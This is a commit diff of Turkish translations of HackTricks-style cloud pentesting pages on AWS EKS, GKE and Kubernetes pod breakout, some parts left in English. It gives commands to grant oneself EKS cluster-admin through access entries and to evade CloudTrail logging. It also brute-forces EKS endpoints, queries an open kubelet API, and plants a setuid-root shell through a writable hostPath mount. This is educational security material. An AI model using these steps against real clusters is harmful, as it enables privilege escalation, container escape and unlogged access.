Translated ['', 'src/pentesting-cloud/gcp-security/gcp-services/gcp-cont

This commit is contained in:
Translator
2026-07-09 09:21:48 +00:00
parent 7b045635c3
commit 1dfe4c2466
11 changed files with 844 additions and 512 deletions
@@ -10,22 +10,22 @@ Daha fazla bilgi için kontrol edin
../../aws-services/aws-eks-enum.md
{{#endref}}
### AWS Console üzerinden cluster'ı enumerate et
### AWS Console üzerinden cluster'ı enumerate etme
Eğer **`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS console üzerinden **Kubernetes objects** görüntüleyebilirsiniz ([Daha fazla bilgi](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
Eğer **`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS console üzerinden **Kubernetes object'lerini görüntüleyebilirsiniz** ([Daha fazla bilgi](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
### AWS Kubernetes Cluster'a bağlan
### AWS Kubernetes Cluster'a bağlanma
- Easy way:
- Kolay yol:
```bash
# Generate kubeconfig
aws eks update-kubeconfig --name aws-eks-dev
```
- O kadar kolay olmayan yol:
- O kadar da kolay yol değil:
Eğer **`aws eks get-token --name <cluster_name>`** ile bir **token** alabiliyorsanız ancak cluster bilgilerini (describeCluster) alma yetkiniz yoksa, **kendi `~/.kube/config`** dosyanızı hazırlayabilirsiniz. Ancak tokena sahip olsanız bile, yine de bağlanmak için **url endpoint** gerekir (eğer bir poddan bir JWT token aldıysanız [buraya bakın](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) ve **cluster adı** gerekir.
Eğer **`aws eks get-token --name <cluster_name>`** ile bir **token** alabiliyorsanız ancak cluster bilgilerini alma izniniz yoksa (describeCluster), **kendi `~/.kube/config` dosyanızı hazırlayabilirsiniz**. Ancak tokena sahip olsanız bile, yine de **bağlanılacak url endpoint**e ihtiyacınız vardır (eğer bir poddan JWT token almayı başardıysanız [buraya bakın](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) ve **cluster adı** gerekir.
Benim durumumda, bilgiyi CloudWatch logs içinde bulamadım, ama **LaunchTemaplates userData** içinde ve **EC2 makinelerinde userData** içinde de **buldum**. Bu bilgiyi **userData** içinde kolayca görebilirsiniz, örneğin sonraki örnekte (cluster adı cluster-name idi):
Benim durumumda, bilgiyi CloudWatch logs içinde bulamadım, ama **LaunchTemaplates userData** içinde ve ayrıca **EC2 makinelerinin userData** içinde buldum. Bu bilgiyi **userData** içinde kolayca görebilirsiniz; örneğin aşağıdaki örnekte (cluster adı cluster-name idi):
```bash
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
@@ -70,55 +70,55 @@ provideClusterInfo: false
```
</details>
### AWS'den Kubernetes'e
### From AWS to Kubernetes
**EKS cluster**'ının **yaratıcısı**, **HER ZAMAN** grubun **`system:masters`** (k8s admin) içindeki kubernetes cluster bölümüne girebilecektir. Bu yazı hazırlanırken **kimin cluster'ı oluşturduğunu** bulmanın **doğrudan bir yolu yok**tur (CloudTrail'i kontrol edebilirsiniz). Ve bu **ayrıcalığı** **kaldırmanın** **hiçbir yolu yok**tur.
Tarihsel olarak, bir **EKS cluster**'ının **creator**'ı, `aws-auth` içinde görünmeyen gizli Kubernetes admin access elde ederdi. Güncel EKS cluster'larında bu, cluster access configuration'a bağlıdır. `bootstrapClusterCreatorAdminPermissions`, creator'ın creation sırasında bir cluster-admin access entry olarak eklenip eklenmeyeceğini kontrol eder ve EKS access entries, bu admin yolunu EKS API üzerinden görünür ve iptal edilebilir hale getirir. Eski cluster'lar veya hâlâ `aws-auth` kullanan cluster'lar, legacy creator davranışını hâlâ taşıyabilir; bu yüzden creator'ın her zaman kaldırılamayan `system:masters` sahibi olduğunu varsaymak yerine `accessConfig`'i doğrulayın, access entries listesini alın ve CloudTrail'i inceleyin.
#### configmap'i kötüye kullanma
#### Abusing configmap
**AWS IAM** kullanıcılarına veya rollerine **K8s üzerinde daha fazla erişim** vermenin geleneksel yolu **configmap** **`aws-auth`** kullanmaktır.
**Daha fazla AWS IAM user veya role'a K8s üzerinde access vermenin** geleneksel yolu, **configmap** **`aws-auth`** kullanmaktır.
> [!WARNING]
> Bu nedenle, **`aws-auth`** config map'i üzerinde **yazma erişimi** olan herkes **tüm cluster'ı ele geçirebilir**.
> Bu nedenle, **config map `aws-auth`** üzerinde **write access** sahibi olan herkes, **tüm cluster'ı compromise** edebilir.
Aynı veya farklı hesapta **IAM rollerine ve kullanıcılarına ek ayrıcalıklar** nasıl verilir ve bunu [**privesc için nasıl kötüye kullanacağınız**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps) hakkında daha fazla bilgi için bu sayfaya bakın.
Aynı veya farklı account içindeki IAM role'lara ve user'lara **ek yetkiler vermek** ve bunu [**privesc için abuse etmek**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps) hakkında daha fazla bilgi için bu sayfaya bakın.
Ayrıca **authentication IAM -> Kubernetes**'in nasıl çalıştığını öğrenmek için [**bu harika**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **yazıya** da göz atın.
Ayrıca, authentication'ın IAM -> Kubernetes nasıl çalıştığını öğrenmek için [**bu harika**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post'a da bakın**.
#### Access Entries'i kötüye kullanma
#### Abusing Access Entries
AWS, IAM kullanıcılarına Kubernetes cluster'a erişim vermek için Access Entries üzerinden ek bir yöntem uygular. `eks:CreateAccessEntry` ve `eks:AssociateAccessPolicy` izinlerine sahipseniz, kullanıcıya ya da belirli bir role bir Kubernetes administrator rolü de atayabilirsiniz.
AWS, IAM user'lara Kubernetes cluster'a access vermek için access entries üzerinden ek bir yol uygular. `eks:CreateAccessEntry` ve `eks:AssociateAccessPolicy` permissions'larına sahipseniz, user'ınıza veya belirli bir role'a bir Kubernetes administrator role'ü atayabilirsiniz.
İlk olarak, **kullanıcınız veya rolünüz için bir access entry oluşturun**:
Önce, **user'ınız veya role'ünüz için bir access entry oluşturun**:
```
aws eks create-access-entry --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --type STANDARD
```
Bu giriş oluşturulduktan sonra, artık ona doğrudan bir policy atayabilirsiniz. Doğrudan kullanılabilecek *AmazonEKSClusterAdminPolicy* adlı yerleşik bir AWS policy vardır. Ortamınızda EKS içinde yükseltilmiş ayrıcalıklar da veren başka custom policies varsa, `--policy-arn` değerini bunlardan herhangi biriyle değiştirebilirsiniz:
Bu entry oluşturulduktan sonra, artık ona doğrudan bir policy atayabilirsiniz. Doğrudan kullanılabilecek yerleşik bir AWS policy olan *AmazonEKSClusterAdminPolicy* vardır. Ortamınızda EKS içinde yükseltilmiş yetkiler de veren başka custom policy'ler varsa, `--policy-arn` değerini bunlardan herhangi biriyle değiştirebilirsiniz:
```
aws eks associate-access-policy --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster
```
AWS resmi dokümantasyonunda bu policyi [**burada**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) arayabilirsiniz
AWS resmi belgelerinde bu policy için [**buradan**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) arama yapabilirsiniz
Bu noktadan sonra, artık bir *k8s* token talep edip cluster ile bir administrator olarak etkileşime geçebiliyor olabilirsiniz:
Bu noktadan itibaren, artık bir *k8s* token isteyebilir ve cluster ile bir administrator olarak etkileşime girebilirsiniz:
```
aws eks get-token --cluster-name <cluster_name> --output json | jq -r '.status.token'
```
### Kubernetes'ten AWS'ye
### From Kubernetes to AWS
**OpenID authentication for kubernetes service account**'ların AWS içinde rol assume etmesine izin vermek mümkündür. Bunun nasıl çalıştığını [**bu sayfada**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1) öğrenin.
**kubernetes service account** için **OpenID authentication** etkinleştirilerek onların AWS içinde roller üstlenmesine izin vermek mümkündür. Bunun nasıl çalıştığını [**bu sayfada**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1) öğrenin.
### JWT Token'dan GET Api Server Endpoint
### GET Api Server Endpoint from a JWT Token
JWT token'ı decode ederek cluster id ve region bilgisini de elde ederiz. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS urlin standart formatın şu olduğunu bilerek
JWT token'ını decode ederek cluster id'yi ve ayrıca region'ı elde ederiz. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS url'sinin standart formatının olduğunu bilerek
```bash
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
```
'two chars' ve 'number' için kriterleri açıklayan herhangi bir dokümantasyon bulamadım. Ama kendi adıma bazı testler yapınca bunların tekrar ettiğini gördüm:
'iki karakter' ve 'sayı' için kriterleri açıklayan herhangi bir dokümantasyon bulamadım. Ama kendi adıma bazı testler yaparak bunların tekrar ettiğini gördüm:
- gr7
- yl4
Her halükarda bunlar sadece 3 char, bu yüzden bunları bruteforce edebiliriz. Listeyi oluşturmak için aşağıdaki scripti kullanın
Her neyse, bunlar sadece 3 karakter; brute force ile deneyebiliriz. Listeyi oluşturmak için aşağıdaki scripti kullanın
```python
from itertools import product
from string import ascii_lowercase
@@ -143,21 +143,21 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
### Bypass CloudTrail
Eğer bir attacker, bir **EKS üzerinde yetkisi** olan bir AWS hesabının credentials bilgilerini elde ederse. Eğer attacker kendi **`kubeconfig`** dosyasını (**`update-kubeconfig`** çağırmadan) önceki açıklamada anlatıldığı gibi yapılandırırsa, **`get-token`** Cloudtrailde log oluşturmaz çünkü AWS API ile etkileşime girmez (sadece token’ı yerel olarak oluşturur).
If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally).
Bu nedenle attacker EKS cluster ile konuştuğunda, **cloudtrail çalınan user’ın erişimiyle ilgili hiçbir şeyi loglamayacaktır**.
So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**.
**EKS cluster’ın logları etkin olabilir** ve bu erişimi loglayabilir (ancak varsayılan olarak devre dışıdırlar).
Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled).
### EKS Ransom?
Varsayılan olarak, bir cluster’ı **oluşturan user veya role** cluster üzerinde **HER ZAMAN admin yetkilerine** sahip olacaktır. Ve AWSnin Kubernetes cluster üzerinde sahip olacağı tek "güvenli" erişim budur.
By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster.
Bu yüzden, eğer bir **attacker fargate kullanan bir cluster’ı ele geçirir** ve **diğer tüm adminleri kaldırır** ve cluster’ı oluşturan **AWS user/roleunu silerse**, ~~attacker cluster’ı **fidye için rehin almış olabilirdi**~~**r**.
So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**.
> [!TIP]
> Eğer cluster **EC2 VMs** kullanıyorsa, **Node** üzerinden Admin yetkileri almak ve cluster’ı kurtarmak mümkün olabilir.
> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster.
>
> Aslında, eğer cluster Fargate kullanıyorsa EC2 nodes ekleyebilir veya her şeyi EC2ye taşıyıp nodedaki tokenslara erişerek cluster’ı kurtarabilirsiniz.
> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Containers
GCP containers içinde GCP'nin sunduğu çoğu container tabanlı service'i bulabilirsiniz, burada en yaygın olanları nasıl enumerate edeceğinizi görebilirsiniz:
GCP containers içinde, GCPnin sunduğu çoğu container-based service bulunabilir, burada en yaygın olanları nasıl enumerate edeceğinizi görebilirsiniz:
```bash
gcloud container images list
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
@@ -32,7 +32,7 @@ Aşağıdaki sayfada **container permissions to escalate privileges** nasıl **a
## Node Pools
Bunlar, kubernetes clusters oluşturan makine havuzlarıdır (nodes).
Bunlar, kubernetes cluster'larını oluşturan makineler (nodes) havuzudur.
```bash
# Pool of machines used by the cluster
gcloud container node-pools list --zone <zone> --cluster <cluster>
@@ -40,35 +40,35 @@ gcloud container node-pools describe --cluster <cluster> --zone <zone> <node-poo
```
## Kubernetes
Kubernetes hakkında bilgi için bu sayfayı kontrol edin:
Kubernetes hakkında bilgi için şu sayfayı kontrol edin:
{{#ref}}
../../kubernetes-security/
{{#endref}}
İlk olarak, projenizde herhangi bir Kubernetes cluster olup olmadığını kontrol edebilirsiniz.
Öncelikle, projenizde herhangi bir Kubernetes cluster'ı olup olmadığını kontrol edebilirsiniz.
```
gcloud container clusters list
```
Eğer bir cluster'ınız varsa, `gcloud` sizin `~/.kube/config` dosyanızı otomatik olarak yapılandırabilir. Bu dosya, [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) kullandığınızda kimliğinizi doğrulamak için kullanılır; bu, K8s cluster'larıyla etkileşim kurmak için kullanılan yerel CLI'dır. Bu komutu deneyin.
Eğer bir clusterınız varsa, `gcloud` sizin için `~/.kube/config` dosyanızı otomatik olarak yapılandırabilir. Bu dosya, [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/) kullanırken sizi kimlik doğrulamak için kullanılır; bu, K8s clusterlarıyla etkileşim kurmak için yerel CLIdır. Şu komutu deneyin.
```
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
```
Ardından, oluşturulan kimlik bilgilerini görmek için `~/.kube/config` dosyasına bakın. Bu dosya, aktif `gcloud` oturumunuzun kullandığı aynı kimliğe dayalı olarak access token'ları otomatik olarak yenilemek için kullanılacaktır. Bunun için elbette gerekli izinlerin doğru şekilde ayarlanmış olması gerekir.
Ardından, oluşturulan kimlik bilgilerini görmek için `~/.kube/config` dosyasına bakın. Bu dosya, aktif `gcloud` oturumunuzun kullandığı aynı kimliğe dayanarak erişim tokenlarını otomatik olarak yenilemek için kullanılacaktır. Bunun için elbette doğru izinlerin ayarlanmış olması gerekir.
Bu ayarlandıktan sonra, cluster yapılandırmasını almak için aşağıdaki komutu deneyebilirsiniz.
Bu ayar yapıldıktan sonra, cluster yapılandırmasını almak için aşağıdaki komutu deneyebilirsiniz.
```
kubectl cluster-info
```
`gcloud` için containers hakkında daha fazla bilgiyi [burada](https://cloud.google.com/sdk/gcloud/reference/container/) okuyabilirsiniz.
Bu, GCPde kubernetesi enumerate etmek için basit bir script: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
Bu, GCP'de kubernetes'i enumerate etmek için basit bir script: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
### Mevcut GKE identity ve metadata kontrolleri
### Current GKE identity and metadata checks
Modern GKE clusterlarını incelerken, Google Cloud IAM permissions, Kubernetes RBAC, pod workload identity ve node credentialsı ayrı değerlendirin. Bir Google principal çoğu zaman `container.clusters.get` ile cluster endpoint verilerini alabilir, ancak ortaya çıkan Kubernetes isteklerinin yine de GKE/Kubernetes authorizationdan ve private endpoints veya authorized networks gibi tüm network restrictionslardan geçmesi gerekir.
Modern GKE clusters incelerken, Google Cloud IAM permissions, Kubernetes RBAC, pod workload identity ve node credentials'ı ayrı değerlendirin. Bir Google principal çoğu zaman `container.clusters.get` ile cluster endpoint verilerini alabilir, ancak oluşan Kubernetes isteklerinin yine de GKE/Kubernetes authorization ve private endpoints veya authorized networks gibi ağ kısıtlamalarını geçmesi gerekir.
GKE için Workload Identity Federation, podların Google Cloud APIsye erişmesi için tercih edilen yoldur. Clusterda bir workload pool olup olmadığını ve Kubernetes service accountsların doğrudan IAM principals olarak eşlenip eşlenmediğini veya IAM service accountsları impersonate etmelerine izin verilip verilmediğini kontrol edin:
GKE için Workload Identity Federation, pods'un Google Cloud APIs'ye erişmesi için tercih edilen yöntemdir. Cluster'ın bir workload pool'a sahip olup olmadığını ve Kubernetes service accounts'ın doğrudan IAM principals olarak eşlenip eşlenmediğini ya da IAM service accounts'u impersonate etmelerine izin verilip verilmediğini kontrol edin:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='value(workloadIdentityConfig.workloadPool)'
@@ -76,33 +76,47 @@ gcloud container clusters describe <cluster> --region <region> \
kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
```
Eğer bir service account üzerinde `iam.gke.io/gcp-service-account` annotation’ı varsa, `roles/iam.workloadIdentityUser` grantleri için IAM service account policysini Kubernetes service account principallarına karşı inceleyin. Ayrıca direct workload identity principals veya geniş principal sets için IAM allow policiesyi de kontrol edin.
Bir service account üzerinde `iam.gke.io/gcp-service-account` annotation varsa, IAM service account policy içinde Kubernetes service account principallarına verilen `roles/iam.workloadIdentityUser` grantlerini inceleyin. Ayrıca direct workload identity principalları veya namespace-wide ya da cluster-wide workload access gibi geniş `principalSet://` grantleri için IAM allow policiesleri de kontrol edin. `iam.gke.io/credential-quota-project` annotation’ı yalnızca IAM Service Account Credentials API quotasını başka bir projeye taşır; workload principal yine de o quota project üzerinde `serviceusage.services.use` ve target resourcea ayrı IAM access ister.
Metadata erişimi cluster modea, node pool configurationa ve workload settingse bağlıdır. Her podun node service accountu çalabileceğini varsaymayın. Workload Identity-enabled ortamlarda, sıradan podlar kendi Kubernetes service accountları için amaçlanan workload identityyi almak üzere GKE metadata server kullanmalıdır. Node compromise, bazı Standard configurationlarda `hostNetwork` podları ve legacy node metadata exposure hâlâ blast radiusu değiştirebilir; bu yüzden gerçek node pool metadata mode, node service account, OAuth scopes ve pod placement’ı doğrulayın.
Metadata access, cluster mode, node pool configuration ve workload settingse bağlıdır. Her podun node service accountu steal edebileceğini varsaymayın. Workload Identity-enabled ortamlarda, sıradan podlar Kubernetes service accountları için amaçlanan workload identityyi almak üzere GKE metadata server kullanmalıdır. Node compromise, bazı Standard yapılandırmalarında `hostNetwork` podlar ve legacy node metadata exposure hâlâ blast radiusu değiştirebilir; bu yüzden gerçek node pool metadata mode, node service account, OAuth scopes ve pod placement’ı doğrulayın.
Bir Workload Identity-enabled pod token alamıyorsa, IAM bindingin yanlış olduğunu varsaymadan önce NetworkPolicy egressi de kontrol edin. NetworkPolicy kullanan GKE Standard clusterlarının, cluster version ve dataplane için gerekli metadata-server pathine izin vermesi gerekir; Dataplane V2 metadata-server access için `169.254.169.254` pathini kullanır.
### Autopilot privileged workload allowlists
GKE Autopilot varsayılan olarak çoğu privileged workloadu engeller, ancak onaylı exceptions mevcut olabilir. Privileged podun imkânsız olduğunu varsaymadan önce privileged admission settings, `AllowlistSynchronizer` objects ve yüklü `WorkloadAllowlist` objectsi inceleyin:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)'
kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml
kubectl get workloadallowlists.auto.gke.io -A -o yaml
```
Allowlist paths can be GKE-owned (`gke://...`) or customer-owned Cloud Storage paths (`gs://...`). Wildcards and broad bucket paths increase the blast radius because future allowlist files under that path might become valid for the cluster. When a `WorkloadAllowlist` is installed, compare its exemptions and matching criteria to the pod spec, especially image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, and whether `autopilot.gke.io/no-connect` prevents `exec` access to the privileged workload.
### TLS Boostrap Privilege Escalation
Başlangıçta bu privilege escalation tekniği, **GKE cluster içinde privesc** yapmaya izin veriyordu ve böylece bir saldırganın sistemi **tamamen compromise etmesine** olanak sağlıyordu.
Initially this privilege escalation technique allowed to **privesc inside the GKE cluster** effectively allowing an attacker to **fully compromise it**.
Bunun nedeni, GKEnin metadata içinde [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) sağlamasıydı; bu da **sadece bir pod compromise edilerek herkes tarafından erişilebilir** durumdaydı.
This is because GKE provides [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) in the metadata, which is **accessible by anyone by just compromising a pod**.
Kullanılan teknik şu gönderilerde açıklanmıştır:
The technique used is explained in the following posts:
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
- [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
Ve bu işlemi otomatikleştirmek için şu tool oluşturuldu: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
Ans this tool was created to automate the process: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
Ancak bu teknik, **metadata credentials** ile **yeni bir node** için otomatik olarak **onaylanan bir CSR** (Certificate Signing Request) üretmenin mümkün olmasına dayanıyordu.\
Testimde, **bu isteklerin artık otomatik olarak onaylanmadığını** kontrol ettim, bu yüzden bu tekniğin hâlâ geçerli olup olmadığından emin değilim.
However, the technique abused the fact that **with the metadata credentials** it was possible to **generate a CSR** (Certificate Signing Request) for a **new node**, which was **automatically approved**.\
In my test I checked that **those requests aren't automatically approved anymore**, so I'm not sure if this technique is still valid.
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
[**Bu gönderide**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) GKE içinde bir poddan erişilebilen bir Kubelet API address bulunduğu keşfedildi; bu address çalışan podların detaylarını veriyordu:
In [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) it was discovered it was discovered a Kubelet API address accesible from inside a pod in GKE giving the details of the pods running:
```
curl -v -k http://10.124.200.1:10255/pods
```
API **kaynakları değiştirmeye** izin vermese bile, yanıt içinde **hassas bilgi** bulmak mümkün olabilir. /pods endpointi [**Kiterunner**](https://github.com/assetnote/kiterunner) kullanılarak bulundu.
API **kaynakları değiştirmeye** izin vermese bile, yanıtta **hassas bilgi** bulmak mümkün olabilir. /pods endpoint'i [**Kiterunner**](https://github.com/assetnote/kiterunner) kullanılarak bulundu.
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,19 +4,19 @@
## **Pod Breakout**
**Şanslıysanız, bundan node'a kaçabilirsiniz:**
**If you are lucky enough you may be able to escape from it to the node:**
![Kubernetes pod breakout diagram showing attacker OS flow from a container through syscalls to the host kernel](https://sickrov.github.io/media/Screenshot-161.jpg)
### Pod'dan kaçış
Pods'tan kaçmayı denemek için önce **privileges yükseltmeniz** gerekebilir, bunu yapmak için bazı teknikler:
Pod'lardan kaçmaya çalışmak için önce **privilege escalation** yapmanız gerekebilir, bunu yapmanın bazı teknikleri:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
{{#endref}}
Ele geçirdiğiniz bir pod'dan **kaçmayı denemek için docker breakouts** kontrol edebilirsiniz:
Bu **docker breakouts to try to escape** yöntemlerini, ele geçirdiğiniz bir pod'dan kaçmak için kontrol edebilirsiniz:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
@@ -24,16 +24,16 @@ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-secu
### Yazılabilir hostPath/bind mounts kötüye kullanımı (container -> host root via SUID planting)
Ele geçirilmiş bir pod/container, doğrudan host filesystem'e map edilen yazılabilir bir volume'a sahipse (Kubernetes hostPath veya Docker bind mount) ve container içinde root olabiliyorsanız, mount'u kullanarak host üzerinde setuid-root bir binary oluşturabilir ve sonra host'tan çalıştırarak root elde edebilirsiniz.
Eğer compromised bir pod/container, doğrudan host filesystem'e eşlenen yazılabilir bir volume'a sahipse (Kubernetes hostPath veya Docker bind mount) ve container içinde root olabiliyorsanız, mount'u kullanarak host üzerinde setuid-root bir binary oluşturabilir ve ardından bunu host üzerinden çalıştırarak root elde edebilirsiniz.
Temel koşullar:
- Mount edilen volume container içinden yazılabilir olmalıdır (readOnly: false ve filesystem permissions yazmaya izin vermelidir).
- Mount'u destekleyen host filesystem nosuid seçeneğiyle mount edilmemiş olmalıdır.
- Plant edilen binary'yi host üzerinde çalıştırmanın bir yolu olmalıdır (örneğin host'ta ayrı SSH/RCE, host üzerindeki bir kullanıcı onu çalıştırabilir veya o path'ten binary çalıştıran başka bir vector).
- Mount edilen volume container içinden yazılabilir olmalı (readOnly: false ve filesystem permissions yazmaya izin vermeli).
- Mount'un arkasındaki host filesystem, nosuid seçeneğiyle mount edilmemiş olmalı.
- Plant edilen binary'yi host üzerinde execute etmek için bir yolunuz olmalı (örneğin host üzerinde ayrı bir SSH/RCE, host'ta bir kullanıcının bunu çalıştırabilmesi veya bu path'ten binary çalıştıran başka bir vector).
Yazılabilir hostPath/bind mounts nasıl tespit edilir:
Yazılabilir hostPath/bind mounts nasıl belirlenir:
- kubectl ile hostPath volumes kontrol edin: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- Container içinden mounts'u listeleyin ve host-path mounts arayın, yazılabilirliği test edin:
- Container içinden mounts listesini alın ve host-path mounts arayın, ardından yazılabilirliği test edin:
```bash
# Inside the compromised container
mount | column -t
@@ -45,7 +45,7 @@ TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
```
Konteynerden bir setuid root binary yerleştirin:
Containerdan bir setuid root binary yerleştir:
```bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
@@ -54,7 +54,7 @@ chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
```
Host üzerinde root elde etmek için çalıştır:
Ana makinede root elde etmek için çalıştırın:
```bash
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
@@ -62,19 +62,19 @@ ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
```
Notlar ve troubleshooting:
- Eğer host mount üzerinde nosuid varsa, setuid bitleri yok sayılır. Host üzerindeki mount options'ları kontrol edin (cat /proc/mounts | grep <mountpoint>) ve nosuid arayın.
- Eğer bir host execution path elde edemiyorsanız, benzer yazılabilir mount'lar, eşlenen dizin security-critical ise host üzerinde başka persistence/priv-esc artifacts yazmak için kötüye kullanılabilir (ör. mount /root/.ssh içine eşleniyorsa bir root SSH key ekleyin, /etc içine eşleniyorsa bir cron/systemd unit bırakın, host'un execute edeceği PATH içindeki root-owned bir binary'yi değiştirin, vb.). Uygulanabilirlik tamamen hangi path'in mount edildiğine bağlıdır.
- Bu technique, plain Docker bind mounts ile de çalışır; Kubernetes'te genellikle bir hostPath volume'dür (readOnly: false) veya yanlış scope edilmiş bir subPath'tir.
- Eğer host mount üzerinde nosuid varsa, setuid bitleri yok sayılır. Host üzerindeki mount options değerlerini kontrol edin (cat /proc/mounts | grep <mountpoint>) ve nosuid arayın.
- Eğer host execution path elde edemezseniz, benzer writable mounts başka persistence/priv-esc artifact'larını host üzerine yazmak için abused edilebilir; mapped directory security-critical ise (ör. mount /root/.ssh içine map ediyorsa root SSH key ekleyin, /etc içine map ediyorsa cron/systemd unit bırakın, host'un execute edeceği PATH içindeki root-owned bir binary'yi değiştirin, vb.). Yapılabilirlik tamamen hangi path'in mounted olduğuna bağlıdır.
- Bu technique, düz Docker bind mounts ile de çalışır; Kubernetes'te bu genellikle bir hostPath volume'dür (readOnly: false) veya yanlış scoped bir subPath'tir.
### Abusing Kubernetes Privileges
**kubernetes enumeration** bölümünde açıklandığı gibi:
**kubernetes enumeration** hakkındaki bölümde açıklandığı gibi:
{{#ref}}
kubernetes-enumeration.md
{{#endref}}
Genellikle pod'lar içinde bir **service account token** ile çalıştırılır. Bu service account'a bağlı olabilecek bazı **privileges** olabilir ve bunları diğer pod'lara **move** etmek veya hatta cluster içinde yapılandırılmış node'lara **escape** etmek için **abuse** edebilirsiniz. Nasıl yapılacağını şurada kontrol edin:
Genellikle pod'lar içinde bir **service account token** ile çalıştırılır. Bu service account'a bağlı bazı **privileges** olabilir ve bunları **abuse** ederek diğer pod'lara **move** edebilir veya cluster içindeki node'lara **escape** edebilirsiniz. Bunun nasıl yapılacağını şurada kontrol edin:
{{#ref}}
